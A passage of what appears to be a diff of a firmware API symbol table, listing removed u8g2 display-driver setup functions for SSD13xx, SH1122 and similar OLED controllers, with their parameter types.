-Function,-,u8g2_Setup_sh1122_256x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1122_256x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1122_i2c_256x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1122_i2c_256x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_sh1122_i2c_256x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd0323_i2c_os128064_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd0323_i2c_os128064_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd0323_i2c_os128064_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd0323_os128064_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd0323_os128064_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd0323_os128064_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_128x32_adafruit_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_128x32_adafruit_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_128x32_adafruit_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_128x32_noname_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_128x32_noname_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_128x32_noname_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_128x64_adafruit_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_128x64_adafruit_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_128x64_adafruit_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_i2c_128x32_adafruit_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_i2c_128x32_adafruit_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_i2c_128x32_adafruit_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_i2c_128x32_noname_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_i2c_128x32_noname_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_i2c_128x32_noname_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_i2c_128x64_adafruit_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_i2c_128x64_adafruit_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1305_i2c_128x64_adafruit_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_128x32_univision_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_128x32_univision_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_128x32_univision_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_128x32_winstar_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_128x32_winstar_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_128x32_winstar_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_128x64_alt0_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_128x64_alt0_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_128x64_alt0_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_128x64_noname_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_128x64_noname_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_128x64_noname_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_128x64_vcomh0_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_128x64_vcomh0_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_128x64_vcomh0_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_48x64_winstar_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_48x64_winstar_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_48x64_winstar_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_64x32_1f_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_64x32_1f_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_64x32_1f_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_64x32_noname_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_64x32_noname_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_64x32_noname_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_64x48_er_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_64x48_er_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_64x48_er_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_72x40_er_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_72x40_er_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_72x40_er_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_96x16_er_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_96x16_er_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_96x16_er_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_128x32_univision_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_128x32_univision_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_128x32_univision_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_128x32_winstar_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_128x32_winstar_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_128x32_winstar_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_128x64_alt0_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_128x64_alt0_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_128x64_alt0_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_128x64_noname_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_128x64_noname_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_128x64_noname_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_128x64_vcomh0_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_128x64_vcomh0_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_128x64_vcomh0_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_48x64_winstar_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_48x64_winstar_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_48x64_winstar_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_64x32_1f_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_64x32_1f_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_64x32_1f_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_64x32_noname_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_64x32_noname_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_64x32_noname_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_64x48_er_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_64x48_er_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_64x48_er_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_72x40_er_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_72x40_er_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_72x40_er_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_96x16_er_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_96x16_er_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1306_i2c_96x16_er_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1309_128x64_noname0_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1309_128x64_noname0_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1309_128x64_noname0_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1309_128x64_noname2_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1309_128x64_noname2_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1309_128x64_noname2_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1309_i2c_128x64_noname0_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1309_i2c_128x64_noname0_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1309_i2c_128x64_noname0_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1309_i2c_128x64_noname2_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1309_i2c_128x64_noname2_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1309_i2c_128x64_noname2_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1316_128x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1316_128x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1316_128x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1316_i2c_128x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1316_i2c_128x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1316_i2c_128x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1317_96x96_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1317_96x96_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1317_96x96_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1317_i2c_96x96_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1317_i2c_96x96_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1317_i2c_96x96_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1318_128x96_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1318_128x96_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1318_128x96_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1318_128x96_xcp_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1318_128x96_xcp_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1318_128x96_xcp_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1318_i2c_128x96_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1318_i2c_128x96_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1318_i2c_128x96_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1318_i2c_128x96_xcp_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1318_i2c_128x96_xcp_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1318_i2c_128x96_xcp_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1322_nhd_128x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1322_nhd_128x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1322_nhd_128x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1322_nhd_256x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1322_nhd_256x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1322_nhd_256x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1325_i2c_nhd_128x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1325_i2c_nhd_128x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1325_i2c_nhd_128x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1325_nhd_128x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1325_nhd_128x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1325_nhd_128x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1326_er_256x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1326_er_256x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1326_er_256x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1326_i2c_er_256x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1326_i2c_er_256x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1326_i2c_er_256x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_ea_w128128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_ea_w128128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_ea_w128128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_ea_w128128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_ea_w128128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_ea_w128128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_midas_128x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_midas_128x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_midas_128x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_seeed_96x96_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_seeed_96x96_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_seeed_96x96_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_visionox_128x96_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_visionox_128x96_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_visionox_128x96_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_ws_128x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_ws_128x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_ws_128x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_ws_96x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_ws_96x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_i2c_ws_96x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_midas_128x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_midas_128x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_midas_128x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_seeed_96x96_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_seeed_96x96_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_seeed_96x96_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_visionox_128x96_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_visionox_128x96_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_visionox_128x96_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_ws_128x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_ws_128x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_ws_128x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_ws_96x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_ws_96x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1327_ws_96x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1329_128x96_noname_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1329_128x96_noname_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1329_128x96_noname_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1606_172x72_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1606_172x72_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1606_172x72_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1607_200x200_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1607_200x200_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1607_200x200_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1607_gd_200x200_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1607_gd_200x200_2,void,"u8g2_t*, const 